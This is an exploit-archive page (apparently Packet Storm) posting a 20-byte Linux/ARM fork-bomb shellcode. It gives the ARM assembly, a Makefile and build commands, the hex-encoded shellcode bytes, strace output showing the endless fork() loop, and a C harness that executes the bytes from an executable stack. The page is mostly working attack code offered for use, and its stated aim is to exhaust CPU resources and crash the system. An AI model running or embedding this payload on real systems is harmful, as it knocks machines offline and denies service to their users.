what you don't know can hurt you

Linux/ARM Fork Bomb Shellcode

Linux/ARM Fork Bomb Shellcode
Posted Oct 8, 2019
Authored by CJHackerz

20 bytes small Linux/ARM fork bombing shellcode.

tags | shellcode
systems | linux
MD5 | 3a86e07e5b85da6c5ff16ed6f87a1534

Linux/ARM Fork Bomb Shellcode

Change Mirror Download
# Title:  Linux/ARM - Fork Bomb Shellcode (20 bytes)
# Date: 2019-10-07
# Category: Shellcode
# Tested: armv7l (32-bit)(Raspberry Pi 2 Model B) (OS: Raspbian Buster Lite)
# Author: CJHackerz
# Description: This shellcode creates new processes in infinite loop to exhaust CPU resources leading to crash

/*
## Compilation instruction

pi@raspberrypi:~ cat forkbomb_ARM32.s
.text
.global _start

_start:
.code 32
ADD R3, PC, #1//Switching to Thumb mode
BX R3

.code 16
_loop:
EOR R7, R7
MOV R7, #2//Syscall to fork()
SVC #1
MOV R8, R8 //NOP
BL _loop

pi@raspberrypi:~ cat Makefile
forkbomb_ARM32: forkbomb_ARM32.o
ld forkbomb_ARM32.o -o forkbomb_ARM32
forkbomb_ARM32.o: forkbomb_ARM32.s
as forkbomb_ARM32.s -o forkbomb_ARM32.o
clean:
rm *.o forkbomb_ARM32
pi@raspberrypi:~ make
pi@raspberrypi:~ objcopy -O binary forkbomb_ARM32 forkbomb_ARM32.bin
pi@raspberrypi:~ hexdump -v -e '"\\""x" 1/1 "%02x" ""' forkbomb_ARM32.bin && echo
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x7f\x40\x02\x27\x01\xdf\xc0\x46\xff\xf7\xfa\xff

## Testing compiled shellcode
pi@raspberrypi:~ file forkbomb_ARM32
forkbomb_ARM32: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, not stripped
pi@raspberrypi:~ strace ./forkbomb_ARM32
execve("./forkbomb_ARM32", ["./forkbomb_ARM32"], 0x7eab36e0 ) = 0
fork() = 21975
fork() = 22000
fork() = 22016
fork() = 22044
fork() = 22087
fork() = 22125
fork() = 22162
fork() = 22199
fork() = 22242
fork() = 22287
fork() = 22326
fork() = 23343
fork() = 23501
fork() = 23539
fork() = 23606
fork() = 26670
^Cstrace: Process 21974 detached

## Steps to compile given shellcode C program file
pi@raspberrypi:~ gcc -fno-stack-protector -z execstack forkbomb_ARM32.c -o forkbomb_ARM32-test

*/


#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x7f\x40\x02\x27\x01\xdf\xc0\x46\xff\xf7\xfa\xff";
main(){

printf("Shellcode Length: %d\n", (int)strlen(shellcode));
int (*ret)() = (int(*)())shellcode;

ret();
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    22 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    1 Files
  • 17
    Nov 17th
    3 Files
  • 18
    Nov 18th
    22 Files
  • 19
    Nov 19th
    17 Files
  • 20
    Nov 20th
    15 Files
  • 21
    Nov 21st
    10 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close